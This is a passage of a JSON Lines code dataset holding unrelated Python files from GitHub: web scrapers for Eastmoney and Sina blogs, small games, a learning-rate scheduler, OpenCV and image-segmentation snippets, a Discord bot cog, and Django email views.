这个对象中,并且已经解码过了(浏览器自动解码)是纯文本(字符串)形式\n\tbrowser_driver.get(url)\n\n\tpage_count = 1 \t\t\t# 页码计数器\n\tall_df = None\n\twhile True:\n\t\tprint('正在爬第 %d 页...' % (page_count))\n\t\t#print('#',end='') \t\t# 爬虫进度符\n\t\t# 调用 driver 对象的属性 page_source 来提取网页源码及数据(注:浏览器返回的对象已经解码成纯文本(字符串)数据了)\n\t\tpage_source = browser_driver.page_source\n\t\t#page_source = page_source.decode('utf-8') \t\t\t\t# 这句要注释掉, 因为用模拟浏览器方式返回的数据已经是用 utf-8 decode 过了,成了 str 形式,不能重复做 decode()\n\t\tsoup = bs4.BeautifulSoup(page_source,\"lxml\") \t\t\t# 准备用 lxml 解析网页源码内容 page_source\n\n\t\ttable_arr = get_table_from_webpage(page_source=page_source, format_df=False) \t\t# 东财网返回的数据有两个
    ,第1个 table 是表头,第2个table 才是真正的数据。\n\t\tif table_arr is not None and len(table_arr) >= 2:\n\t\t\ttable = table_arr[1]\n\t\t\tdf = eastmoney_table2df(table = table)\n\t\n\t\tif all_df is None:\n\t\t\tall_df = df\n\t\telse:\n\t\t\tif df is not None:\n\t\t\t\tall_df = pd.concat([all_df,df])\n\t\t# ------------\n\t\t# 抓几页\n\t\tif page_count >= 5:\n\t\t\tpass\n\t\t\t#break \t\t\t# 如果测试的话,打开这个 break,这样只爬5页就停下来,防止爬200多页耗费很多时间\n\t\tpage_count += 1\n\t\t# ------------------\n\t\t# soup.find_all() 将返回一个 list, list 中的元素都是 soup 对象,可以用 .get_text() 方法提取 html 首尾标记之间的内容\n\t\tif len(soup.find_all(name='a', attrs='next paginate_button')) > 0 and len(soup.find_all(name='a', attrs='next paginate_button disabled')) == 0:\n\t\t\tbrowser_driver.find_element_by_xpath(\"//a[@class='next paginate_button']\").click() \t\t# 点击“下一页”。由于每一页需要在上一页基础上点击下一页才能继续,所以很难用异步方式爬取\n\t\telse:\n\t\t\tbreak\n\n\tif all_df is not None:\n\t\tall_df = all_df.sort_values(by = ['code'],ascending = True)\n\t\tall_df = all_df.reset_index(drop = True)\n\n\t# -------------------\n\t# 使用结束要关闭和退出 browser_driver 对象\n\tbrowser_driver.close()\n\tbrowser_driver.quit()\n\n\treturn all_df\n\n\n\n\n\n\n\n\n\ndef get_all_code_from_eastmoney():\n\t\"\"\"\n\t说明:从东方财富网爬取所有股票代码\n\t参数:url 指向数据源网址;browser_pathfile 指向 PhantomJS 浏览器(若其路径没有设置在环境变量 path 中的话,该参数必须用全路径方式)\n\t返回值:list 形式的股票代码\n\t\"\"\"\n\tpass\n\t\n\tall_df = get_eastmoney_realtime_stock_data()\n\tall_code_arr = list(set(list(all_df.code)))\n\tall_code_arr.sort(reverse=False)\n\n\treturn all_code_arr\n\n\n\n\n\n\n\n\n\n\n\n# eastmoney data end\n# ==================================\n\n\n\n\n# functions end here\n# ===========================================\n# ==========================================\n\n\n\n\n","repo_name":"ganlu20122012/jxcrawl","sub_path":"jxcrawl/jxcrawl_lib.py","file_name":"jxcrawl_lib.py","file_ext":"py","file_size_in_byte":51488,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"7821693586","text":"# 问题描述\r\n# 数据结构中,哈希函数可用于将一个字符串(或任何其他类型)转化为小于哈希表大小且大于等于零的整数。一个好的哈希函数可以尽可能少\r\n# 地产生冲突。一种广泛使用的哈希函数算法是使用数值33,假设任何字符串都是基于33的整数,给出一个字符串作为key和哈希表的大小,返回\r\n# 这个字符串的哈希值\r\n\r\n\r\n# 示例\r\n# key = \"abcd\",按照如下公式求哈希值,HASH_SIZE表示哈希表的大小\r\n# hashcode(\"abcd\") = (ascii(a) * 33³ + ascii(b) * 33² + ascii(c) * 33 + ascii(d)) % HASH_SIZE\r\n# \t\t\t\t = (97 * 33³ + 98 * 33² + 99 * 33 + 100) % HASH_SIZE\r\n# \t\t\t\t = 3595978 % HASH_SIZE\r\n#\r\n# 输入:key = \"abcd\", size = 10000\r\n# 输出:978\r\n\r\n# 输入:key = \"abcd\", size = 100\r\n# 输出:78\r\n\r\n\r\n# 源码实现\r\nclass Solution:\r\n\tdef hashCode(self, key, HASH_SIZE):\r\n\t\tans = 0\r\n\t\tfor x in key:\r\n\t\t\tans = (ans * 33 + ord(x)) % HASH_SIZE\r\n\t\treturn ans\r\n\r\nif __name__ == '__main__':\r\n\tnum = 100\r\n\tkey = \"abcd\"\r\n\ts = Solution()\r\n\tans = s.hashCode(key, num)\r\n\tprint(\"输入key: \", key)\r\n\tprint(\"输入size: \", num)\r\n\tprint(\"输出值:\", ans)\r\n\r\n\r\n# 运行结果\r\n# 输入key: abcd\r\n# 输入size: 100\r\n# 输出值: 78","repo_name":"18096076730/Python-Examples","sub_path":"进阶/例279.哈希函数.py","file_name":"例279.哈希函数.py","file_ext":"py","file_size_in_byte":1250,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"29111039704","text":"import random\r\nimport numba as nb\r\nfrom numba import njit\r\nimport numpy as np\r\n\r\n\r\n# ========== BaseGame ==========\r\n\r\n\r\n@njit\r\ndef obs_v1(distance, fields, direction):\r\n rowlength = 2 * distance + 1\r\n dirvector = np.full(shape=(rowlength,), fill_value=direction)\r\n obs = np.vstack([fields, dirvector])\r\n return obs\r\n\r\n\r\n@njit\r\ndef obs_v2(obs: np.ndarray, direction: int, distance: int):\r\n rowlength = 2 * distance + 1\r\n dirvector = np.full(shape=(rowlength,), fill_value=direction)\r\n\r\n # Given a observation for a single frame, make arrays for 8 direction from center\r\n center_x = distance\r\n center_y = distance\r\n\r\n # Reverse order where needed so that snake head is always at left side\r\n left_side_arr = obs[center_y][:center_x][::-1]\r\n right_side_arr = obs[center_y][center_x + 1 :]\r\n # up is column above center\r\n up_side_arr = obs[:center_y, center_x][::-1]\r\n # down is column below center\r\n down_side_arr = obs[center_y + 1 :, center_x]\r\n # Now get the diagonals\r\n\r\n # top_left_to_bottom_right = obs.diagonal()\r\n # top_right_to_bottom_left = np.fliplr(obs).diagonal()\r\n top_left_to_bottom_right = np.diag(obs)\r\n top_right_to_bottom_left = np.diag(np.fliplr(obs))\r\n # Now split into 8 directions\r\n top_left_side_arr = top_left_to_bottom_right[:center_y][::-1]\r\n bottom_right_side_arr = top_left_to_bottom_right[center_y + 1 :]\r\n top_right_side_arr = top_right_to_bottom_left[:center_y][::-1]\r\n bottom_left_side_arr = top_right_to_bottom_left[center_y + 1 :]\r\n\r\n # [element, distance]\r\n left_side = [0, distance]\r\n right_side = [0, distance]\r\n up_side = [0, distance]\r\n down_side = [0, distance]\r\n top_left_side = [0, distance]\r\n bottom_right_side = [0, distance]\r\n top_right_side = [0, distance]\r\n bottom_left_side = [0, distance]\r\n # Now check distance to non zero element from left to right. If only zeros then set to length of array. Add element type to array as first element and distance to that element as second element\r\n for i in range(len(left_side_arr)):\r\n if left_side_arr[i] != 0:\r\n left_side = [left_side_arr[i], i + 1]\r\n break\r\n for i in range(len(right_side_arr)):\r\n if right_side_arr[i] != 0:\r\n right_side = [right_side_arr[i], i + 1]\r\n break\r\n for i in range(len(up_side_arr)):\r\n if up_side_arr[i] != 0:\r\n up_side = [up_side_arr[i], i + 1]\r\n break\r\n for i in range(len(down_side_arr)):\r\n if down_side_arr[i] != 0:\r\n down_side = [down_side_arr[i], i + 1]\r\n break\r\n for i in range(len(top_left_side_arr)):\r\n if top_left_side_arr[i] != 0:\r\n top_left_side = [top_left_side_arr[i], i + 1]\r\n break\r\n for i in range(len(bottom_right_side_arr)):\r\n if bottom_right_side_arr[i] != 0:\r\n bottom_right_side = [bottom_right_side_arr[i], i + 1]\r\n break\r\n for i in range(len(top_right_side_arr)):\r\n if top_right_side_arr[i] != 0:\r\n top_right_side = [top_right_side_arr[i], i + 1]\r\n break\r\n for i in range(len(bottom_left_side_arr)):\r\n if bottom_left_side_arr[i] != 0:\r\n bottom_left_side = [bottom_left_side_arr[i], i + 1]\r\n break\r\n # Now add all the arrays to a list and add direction and return\r\n return np.array(\r\n [\r\n left_side,\r\n right_side,\r\n up_side,\r\n down_side,\r\n top_left_side,\r\n bottom_right_side,\r\n top_right_side,\r\n bottom_left_side,\r\n [direction, direction],\r\n ]\r\n )\r\n","repo_name":"techboy-coder/snake","sub_path":"base/src/extracted.py","file_name":"extracted.py","file_ext":"py","file_size_in_byte":3673,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"8280322526","text":"\nimport random\n\n#this function takes players option and checks if it's correct and one of rock, paper or scissors\ndef is_valid_play(option):\n if option.lower() == \"rock\" or a.lower() == \"paper\" or a.lower() == \"scissors\":\n return True\n\n#this function is print in the end of game when player doesn't want to play anymore\ndef endgame():\n print(\"The end.\")\n\n#this function compares player's and computer's option and returns the result of the comparsion\ndef evaluate(player, computer):\n #player wins\n if player == \"rock\" and computer == \"scissors\" or player == \"scissors\" and computer == \"paper\" or player == \"paper\" and computer == \"rock\":\n return \"win\"\n\n #its a tie\n elif player == \"rock\" and computer == \"rock\" or player == \"scissors\" and computer == \"scissors\" or player == \"paper\" and computer == \"paper\":\n return \"tie\"\n\n #computer wins\n elif player == \"scissors\" and computer == \"rock\" or player == \"paper\" and computer == \"scissors\" or player == \"rock\" and computer == \"paper\":\n return \"loss\"\n\n #just for checking programming errors\n else:\n print(\"Seems like there is an error - please tell the author. \")\n\n#start process\nwhile True:\n question = input(\"Wanna play rock/paper/scissors? type yes/no and hit enter: \")\n question_low = question.lower()\n\n #player chose yes\n if question_low == \"yes\":\n choice_player = input(\"Rock, scissors or paper? \")\n choice_player_low = choice_player.lower()\n\n #loop if player input something else than rock/paper/scissors\n while is_valid_play(choice_player_low) != True:\n choice_player = input(\"I dont understand. Please type rock, paper or scissors: \")\n choice_player_low = choice_player.lower()\n\n #computer generates an option\n choice_computer = random.choice([\"rock\", \"scissors\", \"paper\"])\n print(\"Computer chose\", choice_computer)\n if evaluate(choice_player_low, choice_computer) == \"win\":\n print(\"You won!\")\n elif evaluate(choice_player_low, choice_computer) == \"tie\":\n print(\"Its a tie!\")\n elif evaluate(choice_player_low, choice_computer) == \"loss\":\n print(\"You lost!\")\n\n #player chose no\n elif question_low == \"no\":\n endgame()\n break\n\n #player answers something else than yes or no\n else:\n print(\"I dont understand. Please type yes or no: \")\n","repo_name":"alexkim3/Rock-paper-scissor-game","sub_path":"rock_paper_scissors.py","file_name":"rock_paper_scissors.py","file_ext":"py","file_size_in_byte":2422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"20645015218","text":"import mindspore as ms\nfrom mindspore import nn\nfrom mindspore.nn.learning_rate_schedule import LearningRateSchedule\n\n\nclass MultiStepDecayLR(LearningRateSchedule):\n \"\"\"Multiple step learning rate\n The learning rate will decay once the number of step reaches one of the milestones.\n \"\"\"\n\n def __init__(self, lr, warmup_epochs, decay_rate, milestones, steps_per_epoch, num_epochs):\n super().__init__()\n self.warmup_steps = warmup_epochs * steps_per_epoch\n num_steps = num_epochs * steps_per_epoch\n step_lrs = []\n cur_lr = lr\n k = 0\n for step in range(num_steps):\n if step == milestones[k] * steps_per_epoch:\n cur_lr = cur_lr * decay_rate\n k = min(k + 1, len(milestones) - 1)\n step_lrs.append(cur_lr)\n if self.warmup_steps > 0:\n self.warmup_lr = nn.WarmUpLR(lr, self.warmup_steps)\n self.step_lrs = ms.Tensor(step_lrs, ms.float32)\n\n def construct(self, global_step):\n if self.warmup_steps > 0 and global_step < self.warmup_steps:\n lr = self.warmup_lr(global_step)\n elif global_step < self.step_lrs.shape[0]:\n lr = self.step_lrs[global_step]\n else:\n lr = self.step_lrs[-1]\n return lr\n","repo_name":"mindspore-lab/mindediting","sub_path":"mindediting/scheduler/multi_step_decay_lr.py","file_name":"multi_step_decay_lr.py","file_ext":"py","file_size_in_byte":1282,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"82"} +{"seq_id":"4635566205","text":"import numpy as np\nimport cv2\nimport matplotlib.pyplot as plt\nimport filter\n\n#Read image\nimg = cv2.imread('/home/jera/chapa2.jpg')\n\n# convert into grayscale\ngray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\n\n# blur the image\nblur=cv2.GaussianBlur(gray,(5,5),0)\n#cv2.imshow(\"blur\",blur)\n\n# find the sobel gradient. use the kernel size to be 3\nsobelx=cv2.Sobel(blur, cv2.CV_8U, 1, 0, ksize=3)\ncv2.imshow(\"sobelx\",sobelx)\n\n\n#Otsu thresholding\nret, thresh = cv2.threshold(blur,0,255,cv2.THRESH_BINARY_INV+cv2.THRESH_OTSU)\n\nh,w=thresh.shape\n\nhorizontalsize=w/30\n\n\ncontours, hier = cv2.findContours(blur, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n\nfor cnt in contours:\n rect=cv2.minAreaRect(cnt) \n box=cv2.cv.BoxPoints(rect) \n box=np.int0(box) \n cv2.drawContours(img, [box], 0, (0,0,255),2)\n\ncv2.imshow(\"edged\",img)\ncv2.waitKey(0)\n\n\n","repo_name":"conti3000/ALPR_py","sub_path":"deskew.py","file_name":"deskew.py","file_ext":"py","file_size_in_byte":825,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"74680101388","text":"# I didn't want the program to be static and I've found online a library called geocoder which retrieves information based on the IP of the user.\n# It can be easily installed with \"pip install geocoder\" from the command line.\n\nimport geocoder\n\ndef get_location():\n g = geocoder.ipinfo('me') # Retrieve location based on IP address\n return g.city, g.country\n\ncity, country = get_location() # The 2 values returned from the get_location() function are associated with city and country\n\nwhile True:\n print(\"\"\"0)Asia \\n1) Africa \\n2) Oceania \\n3) North America \\n4) South America \\n5) Europe\"\"\")\n\n continent_list = ['Asia', 'Africa', 'Oceania', 'North America', 'South America', 'Europe']\n \n user_input = input(\"Type the number associated with your favourite continent: \")\n\n if user_input == '0':\n continent = continent_list[0]\n \n elif user_input == '1':\n continent = continent_list[1]\n\n elif user_input == '2':\n continent = continent_list[2]\n\n elif user_input == '3':\n continent = continent_list[3]\n \n elif user_input == '4':\n continent = continent_list[4] \n \n elif user_input == '5':\n continent = continent_list[5]\n \n else:\n print(\"Invalid selection, here's where you are anyway.\")\n\n print('-'*30) # I love multiplying strings, it feels so wrong!\n print(\"Your City:\", city)\n print(\"Your Country:\", country)\n print(\"Your favourite continent:\", continent)\n break\n\n\n","repo_name":"LorenzoAnas/University","sub_path":"LJ1_exercises/city_country_displayer.py","file_name":"city_country_displayer.py","file_ext":"py","file_size_in_byte":1480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"16190824358","text":"import asyncio\r\nimport aiohttp\r\nfrom lxml import etree\r\nimport requests\r\nimport random\r\nimport settings\r\nimport os\r\nimport re\r\nfrom showStatus import ShowStatus\r\nfrom functools import partial\r\n\r\nSITE_NAME = \"新浪博文\"\r\n\r\n\r\nclass CrawlerXLBW(ShowStatus):\r\n\r\n def __init__(self):\r\n super(CrawlerXLBW, self).__init__(SITE_NAME)\r\n self.treeIndex = 1\r\n\r\n self.savePath = settings.FILEPATH.get(SITE_NAME)\r\n if not self.savePath:\r\n self.savePath = \"./\"\r\n else:\r\n if not os.path.exists(self.savePath):\r\n os.makedirs(self.savePath)\r\n\r\n async def __getContent(self, semaphore, link_, img=False, referer=None):\r\n\r\n # # 代理服务器\r\n # proxyHost = \"http-dyn.abuyun.com\"\r\n # proxyPort = \"9020\"\r\n #\r\n # # 代理隧道验证信息\r\n # proxyUser = settings.PROXIES[proxy][\"proxyUser\"]\r\n # proxyPass = settings.PROXIES[proxy][\"proxyPass\"]\r\n #\r\n # proxyServer = \"http://%(user)s:%(pass)s@%(host)s:%(port)s\" % {\r\n # \"host\": proxyHost,\r\n # \"port\": proxyPort,\r\n # \"user\": proxyUser,\r\n # \"pass\": proxyPass,\r\n # }\r\n headers = {\r\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',\r\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36'\r\n }\r\n if img:\r\n headers = {\r\n 'Accept': '*/*',\r\n 'Accept-Encoding': 'gzip, deflate',\r\n 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en-US;q=0.7,en;q=0.6',\r\n 'Cache-Control': 'max-age=0',\r\n 'Connection': 'keep-alive',\r\n 'Referer': referer,\r\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36'\r\n }\r\n\r\n conn = aiohttp.TCPConnector(verify_ssl=False)\r\n async with semaphore:\r\n async with aiohttp.ClientSession(headers=headers, connector=conn, trust_env=True) as session:\r\n try:\r\n async with session.get(link_, timeout=10) as resp:\r\n # async with session.get(link_, proxy=proxyServer, timeout=4) as resp:\r\n # if str(resp.status).startswith(\"2\"):\r\n if not img:\r\n content = await resp.text(encoding=\"utf-8\")\r\n else:\r\n content = await resp.read()\r\n # print(content)\r\n await asyncio.sleep(random.uniform(1, 3))\r\n return content, link_\r\n\r\n except Exception as e:\r\n print(e)\r\n self.addToTable(link_, \"请求失败\")\r\n self.saveErrors(link_)\r\n return\r\n\r\n def getPageIndexUrl(self, url):\r\n self.addLog(\"正在获取文章链接,请稍等.\")\r\n headers = {\r\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',\r\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36'\r\n }\r\n resp = requests.get(url, headers=headers, timeout=10)\r\n resp.encoding = \"utf-8\"\r\n if not resp.status_code == 200:\r\n return\r\n pageNum = re.findall(r\"共(\\d+)页\", resp.text)\r\n if pageNum:\r\n pageUrlList = [f\"http://blog.sina.com.cn/s/articlelist_5325106168_0_{index}.html\" for index in\r\n range(2, int(pageNum[0]))]\r\n else:\r\n pageUrlList = []\r\n pageUrlList.insert(0, url)\r\n return pageUrlList\r\n\r\n def saveErrors(self, url):\r\n self.errors = f\"{settings.ERRORPATH}/{SITE_NAME}/\"\r\n if not os.path.exists(self.errors):\r\n os.makedirs(self.errors)\r\n with open(f\"{self.errors}errors.txt\", \"a+\", encoding=\"utf-8\")as f:\r\n f.write(url + \"\\n\")\r\n\r\n def indexPage(self, feature):\r\n result, referer = feature.result()\r\n html = etree.HTML(result)\r\n urlList = html.xpath(\"//span[@class='atc_title']/a/@href\")\r\n self.detailUrlList += urlList\r\n\r\n def detailPage(self, feature):\r\n\r\n result, referer = feature.result()\r\n html = etree.HTML(result)\r\n\r\n title = html.xpath(\"//div[@class='articalTitle']/h2/text()\")\r\n if not title:\r\n title = html.xpath(\"//h1[@class='h1_tit']/text()\")\r\n self.imgUrlList += [(index, title[0], url, referer) for index, url in\r\n enumerate(html.xpath(\"//*[@id='sina_keyword_ad_area2']//a/img/@real_src\"))]\r\n self.saveHtml(result, title[0])\r\n\r\n def addToTable(self, title, status=\"下载成功\"):\r\n treeData = [self.treeIndex, title, status]\r\n self.box.insert(\"\", \"end\", values=treeData)\r\n self.treeIndex += 1\r\n self.box.yview_moveto(1.0)\r\n\r\n def saveHtml(self, htmlText, title):\r\n self.htmlPath = f\"{self.savePath}{title}/\"\r\n if not os.path.exists(self.htmlPath):\r\n os.makedirs(self.htmlPath)\r\n path = f\"{self.htmlPath}{title}.html\"\r\n with open(path, \"w+\", encoding=\"utf8\")as f:\r\n f.write('\\n')\r\n f.write(htmlText)\r\n self.addToTable(title)\r\n\r\n def saveImage(self, params, feature):\r\n index, title = params\r\n self.imagePath = f\"{self.savePath}{title}/IMG/\"\r\n if not os.path.exists(self.imagePath):\r\n os.makedirs(self.imagePath)\r\n content, link = feature.result()\r\n path = f\"{self.imagePath}IMG-{index}.jpg\"\r\n with open(path, \"wb\")as f:\r\n f.write(content)\r\n\r\n self.addLog(f\"当前:{path},下载完成.\")\r\n\r\n async def taskManager(self, linkList, callbackFunc, img=False):\r\n tasks = []\r\n semaphore = asyncio.Semaphore(4)\r\n if img:\r\n for index, title, link_, referer in linkList:\r\n task = asyncio.ensure_future(self.__getContent(semaphore, link_, img, referer))\r\n task.add_done_callback(partial(callbackFunc, (index, title)))\r\n tasks.append(task)\r\n else:\r\n for link_ in linkList:\r\n task = asyncio.ensure_future(self.__getContent(semaphore, link_, img))\r\n task.add_done_callback(callbackFunc)\r\n tasks.append(task)\r\n await asyncio.gather(*tasks)\r\n\r\n def crawlDetail(self, detailUrlList):\r\n self.imgUrlList = []\r\n self.addLog(f\"获取到{len(detailUrlList)}个文章链接.\")\r\n new_loop = asyncio.new_event_loop()\r\n asyncio.set_event_loop(new_loop)\r\n self.loop = asyncio.get_event_loop()\r\n self.loop.run_until_complete(self.taskManager(detailUrlList, self.detailPage))\r\n\r\n if self.imgUrlList:\r\n self.addLog(f\"正在下载图片.\")\r\n self.addLog(f\"获取到{len(self.imgUrlList)}个图片链接.\")\r\n new_loop = asyncio.new_event_loop()\r\n asyncio.set_event_loop(new_loop)\r\n self.loop = asyncio.get_event_loop()\r\n self.loop.run_until_complete(self.taskManager(self.imgUrlList, self.saveImage, img=True))\r\n\r\n def startCrawler(self, startUrl):\r\n self.imgUrlList = []\r\n pageUrlList = self.getPageIndexUrl(startUrl)\r\n self.detailUrlList = []\r\n new_loop = asyncio.new_event_loop()\r\n asyncio.set_event_loop(new_loop)\r\n self.loop = asyncio.get_event_loop()\r\n self.loop.run_until_complete(self.taskManager(pageUrlList, self.indexPage))\r\n\r\n if self.detailUrlList:\r\n self.detailUrlList = list(set(self.detailUrlList))\r\n self.addLog(f\"获取到{len(self.detailUrlList)}个文章链接.\")\r\n new_loop = asyncio.new_event_loop()\r\n asyncio.set_event_loop(new_loop)\r\n self.loop = asyncio.get_event_loop()\r\n self.loop.run_until_complete(self.taskManager(self.detailUrlList, self.detailPage))\r\n\r\n if self.imgUrlList:\r\n self.addLog(f\"正在下载图片.\")\r\n self.addLog(f\"获取到{len(self.imgUrlList)}个图片链接.\")\r\n new_loop = asyncio.new_event_loop()\r\n asyncio.set_event_loop(new_loop)\r\n self.loop = asyncio.get_event_loop()\r\n self.loop.run_until_complete(self.taskManager(self.imgUrlList, self.saveImage, img=True))\r\n\r\n def start(self, start_url, site=False):\r\n if not site:\r\n self.createUI(partial(self.startCrawler, start_url))\r\n else:\r\n self.createUI(partial(self.crawlDetail, start_url))\r\n self.root.mainloop()\r\n","repo_name":"peng5550/ArticleD","sub_path":"xlbw.py","file_name":"xlbw.py","file_ext":"py","file_size_in_byte":9023,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"16209261532","text":"import os\r\nimport discord\r\nimport settings\r\nfrom discord.ext import commands\r\nfrom main import bot\r\n\r\n\r\nclass ChatReactCog(commands.Cog):\r\n def __init__(self, bot):\r\n self.bot = bot\r\n\r\n @bot.listen('on_message')\r\n async def f_in_chat(message):\r\n words = message.content.lower().split()\r\n for x in words:\r\n if x == \"f\" or x == \"fs\":\r\n if message.author.bot == False:\r\n await message.channel.send(\"F\")\r\n return\r\n if message.author.id == 591548628968144916:\r\n if message.channel.id == 785931425357889536:\r\n await message.channel.send(\"https://i.kym-cdn.com/photos/images/original/001/400/617/6dc.png\")\r\n\r\n @bot.listen('on_reaction_add')\r\n async def verify(reaction, user):\r\n if reaction.message.id == 788114495561138192:\r\n x = reaction.message.guild.get_role(784890045752279081)\r\n await user.remove_roles(x)\r\n\r\ndef setup(bot):\r\n bot.add_cog(ChatReactCog(bot))\r\n","repo_name":"Rom3dius/Thallia-Discord","sub_path":"extracogs/chatreact.py","file_name":"chatreact.py","file_ext":"py","file_size_in_byte":1023,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"74096214027","text":"import matplotlib.pyplot as plt\nfrom skimage.segmentation import slic\nfrom skimage import io\n\n# Parameters of slic image segmentation\nN_SEGMENTS=45\nCOMPACTNESS=14\nSIGMA=3\n\n# A possible image segmentation technique\ndef slic_segmentation(image_path):\n image = io.imread(image_path)\n segments = slic(image, n_segments=N_SEGMENTS, compactness=COMPACTNESS, sigma=SIGMA)\n return segments # Returns a plottable image\n","repo_name":"DerkBarten/sumo-click-and-go","sub_path":"Python/image.py","file_name":"image.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"5605927133","text":"import random\nimport PySimpleGUI as sg\n\nclass chuteONumero:\n def __init__(self):\n self.valor_aleatorio = 0\n self.valor_minimo = 1\n self.valor_maximo = 50\n self.tentar_novamente = True\n\n def iniciar(self):\n # layout\n layout = [\n [sg.Text('seu chute', size=(20,0))],\n [sg.Input(size=(18,0),key='ValorChute')],\n [sg.Button('chutar')],\n [sg.Output(size=(20,10))]\n ]\n\n # janela\n self.janela = sg.Window('chute o numero!', layout= layout)\n\n self.gerarNumeroAleatorio()\n try:\n while True:\n self.eventos, self.valores = self.janela.read()\n self.valor_chute = self.valores['ValorChute']\n if self.eventos == 'chutar':\n while self.tentar_novamente == True:\n if int(self.valor_chute) > self.valor_aleatorio:\n print('chute um valor mais baixo!')\n break\n elif int(self.valor_chute) < self.valor_aleatorio:\n print('chute um valor mais alto!')\n break\n if int(self.valor_chute) == self.valor_aleatorio:\n self.tentar_novamente = False\n print('você acertou') \n break\n except Exception:\n print('FAVOR DIGITAR APENAS NÚMEROS INTEIROS')\n self.iniciar() \n \n def gerarNumeroAleatorio(self):\n self.valor_aleatorio = random.randint(self.valor_minimo,self.valor_maximo)\n\nchute = chuteONumero()\nchute.iniciar() ","repo_name":"Gabrlemes/python","sub_path":"chute.py","file_name":"chute.py","file_ext":"py","file_size_in_byte":1721,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"17605637840","text":"from json import loads\nfrom cannlytics.auth.auth import authenticate_request\n\n# External imports\nfrom django.core.mail import send_mail\nfrom django.http.response import JsonResponse\n\n# Internal imports\nfrom console.settings import (\n DEFAULT_FROM_EMAIL,\n LIST_OF_EMAIL_RECIPIENTS,\n)\n\n\ndef invite_user(request, *args, **argv): #pylint: disable=unused-argument\n \"\"\"Invite a user to the Cannlytics console.\"\"\"\n try:\n claims = authenticate_request(request)\n user_email = claims['email']\n except KeyError:\n return JsonResponse({'success': False, 'message': 'Unauthorized.'}, status=401)\n \n # FIXME: Implement logic to invite user to organization's team.\n raise NotImplementedError\n # data = loads(request.body.decode('utf-8'))['data']\n # invitee_email = data['invitee_email']\n # subject = data['subject']\n # message = data['message']\n # sender = data.get('email', user_email)\n # recipients = LIST_OF_EMAIL_RECIPIENTS\n # text = \"You're invited to the Cannlytics Console\"\n # text += '\\n\\n{0}'.format(message)\n # send_mail(\n # subject=subject.strip(),\n # message=text,\n # from_email=sender,\n # recipient_list=LIST_OF_EMAIL_RECIPIENTS + [invitee_email, user_email],\n # fail_silently=False,\n # )\n # return JsonResponse({'success': True}, status=204)\n\n\ndef send_results(request, *args, **argv): #pylint: disable=unused-argument\n \"\"\"Email certificates from the console to the specified recipients.\"\"\"\n try:\n claims = authenticate_request(request)\n uid = claims['uid']\n except KeyError:\n return JsonResponse({'success': False, 'message': 'Unauthorized.'}, status=401)\n \n # FIXME: Ensure user can only send results to people who\n # submitted samples with them.\n raise NotImplementedError\n # data = loads(request.body.decode('utf-8'))['data']\n # name = data['name']\n # subject = data['subject']\n # message = data['message']\n # sender = data['email']\n # recipients = LIST_OF_EMAIL_RECIPIENTS\n # if not sender:\n # sender = DEFAULT_FROM_EMAIL\n # text = 'Laboratory results attached.'\n # text += '\\n\\n{0}'.format(message)\n # if name is not None:\n # text += '\\n\\nFrom,\\n' + str(name)\n # send_mail(\n # subject=subject.strip(),\n # message=text,\n # from_email=sender,\n # recipient_list=recipients,\n # fail_silently=False,\n # )\n # return JsonResponse({'success': True}, status=204)\n\n\ndef send_message(request, *args, **argv): #pylint: disable=unused-argument\n \"\"\"Send a message from the console to the Cannlytics admin with email.\"\"\"\n try:\n claims = authenticate_request(request)\n uid = claims['uid']\n except KeyError:\n return JsonResponse({'success': False, 'message': 'Unauthorized.'}, status=401)\n user_email = claims['email']\n data = loads(request.body.decode('utf-8'))['data']\n name = data.get('name')\n subject = data.get('subject', 'New Cannlytics Console Message')\n message = data['message']\n sender = data.get('email', 'bot@cannlytics.com')\n text = 'Message from the Cannlytics Console:\\n\\n'\n text += '{}\\n\\nUser: {}\\nUser Email: {}'.format(message, uid, user_email)\n if name is not None:\n text += '\\n\\nFrom,\\n' + str(name)\n send_mail(\n subject=subject.strip(),\n message=text,\n from_email=sender,\n recipient_list=LIST_OF_EMAIL_RECIPIENTS,\n fail_silently=False,\n )\n return JsonResponse({'success': True}, status=204)\n","repo_name":"cannlytics/cannlytics","sub_path":"console/views/email.py","file_name":"email.py","file_ext":"py","file_size_in_byte":3551,"program_lang":"python","lang":"en","doc_type":"code","stars":42,"dataset":"github-code","pt":"82"} +{"seq_id":"36777951190","text":"import sys\nimport subprocess\nimport json\n\nclass Streamer():\n\tdef __init__(self):\n\t\tself.config = self.getConfig()\n\t\tself.start()\n\n\tdef getConfig(self):\n\t\tif 